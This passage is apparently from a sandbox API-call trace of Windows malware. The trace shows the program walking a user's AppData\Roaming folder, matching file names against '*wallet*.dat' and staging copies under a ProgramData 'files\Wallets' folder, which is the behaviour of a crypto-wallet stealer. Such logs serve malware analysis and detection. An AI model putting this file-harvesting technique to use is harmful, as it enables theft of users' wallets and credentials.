returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\" [0052.091] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\", lpString2="sonar_policy.xml" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" [0052.091] PathMatchSpecW (pszFile="sonar_policy.xml", pszSpec="*wallet*.dat") returned 0 [0052.091] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.091] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.091] PathMatchSpecW (pszFile="Sonar1.0", pszSpec="*wallet*.dat") returned 0 [0052.091] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.091] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0052.091] PathMatchSpecW (pszFile="Sonar", pszSpec="*wallet*.dat") returned 0 [0052.091] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 0 [0052.091] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0052.091] PathMatchSpecW (pszFile="Adobe", pszSpec="*wallet*.dat") returned 0 [0052.091] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.091] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ad_ILWps83nWukzv-V4.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ad_ILWps83nWukzv-V4.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ad_ILWps83nWukzv-V4.jpg" [0052.091] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.091] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.091] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="ad_ILWps83nWukzv-V4.jpg" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ad_ILWps83nWukzv-V4.jpg") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\ad_ILWps83nWukzv-V4.jpg" [0052.091] PathMatchSpecW (pszFile="ad_ILWps83nWukzv-V4.jpg", pszSpec="*wallet*.dat") returned 0 [0052.091] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.091] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="BJWhQ_TOsed8S.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\BJWhQ_TOsed8S.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\BJWhQ_TOsed8S.wav" [0052.092] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="BJWhQ_TOsed8S.wav" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\BJWhQ_TOsed8S.wav") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\BJWhQ_TOsed8S.wav" [0052.092] PathMatchSpecW (pszFile="BJWhQ_TOsed8S.wav", pszSpec="*wallet*.dat") returned 0 [0052.092] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.092] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="C0Cs.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\C0Cs.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\C0Cs.mp3" [0052.092] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="C0Cs.mp3" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\C0Cs.mp3") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\C0Cs.mp3" [0052.092] PathMatchSpecW (pszFile="C0Cs.mp3", pszSpec="*wallet*.dat") returned 0 [0052.092] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.092] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="c1pc0 h.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\c1pc0 h.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\c1pc0 h.avi" [0052.092] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="c1pc0 h.avi" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\c1pc0 h.avi") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\c1pc0 h.avi" [0052.092] PathMatchSpecW (pszFile="c1pc0 h.avi", pszSpec="*wallet*.dat") returned 0 [0052.092] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.092] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="D-8gVEc7rsNITugVFy.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\D-8gVEc7rsNITugVFy.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\D-8gVEc7rsNITugVFy.swf" [0052.092] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.092] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="D-8gVEc7rsNITugVFy.swf" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\D-8gVEc7rsNITugVFy.swf") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\D-8gVEc7rsNITugVFy.swf" [0052.092] PathMatchSpecW (pszFile="D-8gVEc7rsNITugVFy.swf", pszSpec="*wallet*.dat") returned 0 [0052.092] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.093] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="dHVkqMn69qOp7ycDg.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\dHVkqMn69qOp7ycDg.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\dHVkqMn69qOp7ycDg.swf" [0052.093] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="dHVkqMn69qOp7ycDg.swf" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\dHVkqMn69qOp7ycDg.swf") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\dHVkqMn69qOp7ycDg.swf" [0052.093] PathMatchSpecW (pszFile="dHVkqMn69qOp7ycDg.swf", pszSpec="*wallet*.dat") returned 0 [0052.093] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.093] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="EmKQ4n3YjYza-whi.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\EmKQ4n3YjYza-whi.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\EmKQ4n3YjYza-whi.mp4" [0052.093] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="EmKQ4n3YjYza-whi.mp4" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\EmKQ4n3YjYza-whi.mp4") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\EmKQ4n3YjYza-whi.mp4" [0052.093] PathMatchSpecW (pszFile="EmKQ4n3YjYza-whi.mp4", pszSpec="*wallet*.dat") returned 0 [0052.093] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.093] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="eqt37.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\eqt37.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\eqt37.flv" [0052.093] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="eqt37.flv" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\eqt37.flv") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\eqt37.flv" [0052.093] PathMatchSpecW (pszFile="eqt37.flv", pszSpec="*wallet*.dat") returned 0 [0052.093] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.093] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0052.093] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.093] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="Identities" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities" [0052.094] lstrcmpW (lpString1="Identities", lpString2=".") returned 1 [0052.094] lstrcmpW (lpString1="Identities", lpString2="..") returned 1 [0052.094] lstrcpyW (in: lpString1=0x19ea34, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*.*" [0052.094] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*.*", lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 0x58a540 [0052.094] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\." [0052.094] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities" [0052.094] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\" [0052.094] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\." [0052.094] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.094] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.094] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\.." [0052.094] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities" [0052.094] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\" [0052.094] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\.." [0052.094] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.094] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.094] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.094] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0052.094] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities" [0052.094] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\" [0052.094] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\", lpString2="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0052.094] lstrcmpW 